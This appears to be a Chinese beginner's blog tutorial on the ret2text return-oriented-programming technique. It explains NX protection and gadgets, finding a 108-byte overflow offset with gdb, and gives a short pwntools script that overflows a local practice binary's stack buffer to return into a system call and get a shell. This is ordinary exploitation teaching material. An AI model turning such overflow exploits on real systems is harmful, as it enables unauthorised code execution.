一.基本rop_ret2text

1.随着NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。
2.目前主要的是ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
3.所谓 gadgets 就是以ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

注:ret2text说的就是在程序中利用代码的地址(给你了system),来进行shell
小白入门可以gdb直接泄露溢出大小(溢出大小+ebp(4)+system_addr
高手可以利用gdb动态调试查看一下,在ida里面我们申请的是

int v4; // [sp+1Ch] [bp-64h]@1   #100

可是在我们调试的时候溢出大小其实是108

EXP
from pwn import*

p = process('./ret2text')

system_addr = 0x804863A
payload = 'A'*108
payload += p32(0)
payload += p32(system_addr)

p.sendline(payload)
p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 换班换搭档。 今天值班的搭档是一个特别熟的同事了,王丽,平时我都叫她“小丽啊~’ 也是一个跟我很像的女生,跟我一样...
    路小厨阅读 151评论 0 1
  • 以前,一直看别人写的博客,没有动手去写。从今天开始,我要着手写博客了。希望与大家一起分享,共同进步!
    春暖花已开阅读 298评论 0 3
  • 纤绳,可断原木;滴水,可穿顽石。皆因坚持。写作也一样,只要坚持,精品力作就会款款向你走来。 《人民日报》“大地”副...
    闲云悠悠阅读 3,131评论 79 91
  • 城中的人因谣言对鲁迅先生指指点点,无奈,他只能远去南京,去环境更好的地方学习更多的知识,而不悬在家乡同乡人一...
    丁昱天阅读 249评论 0 0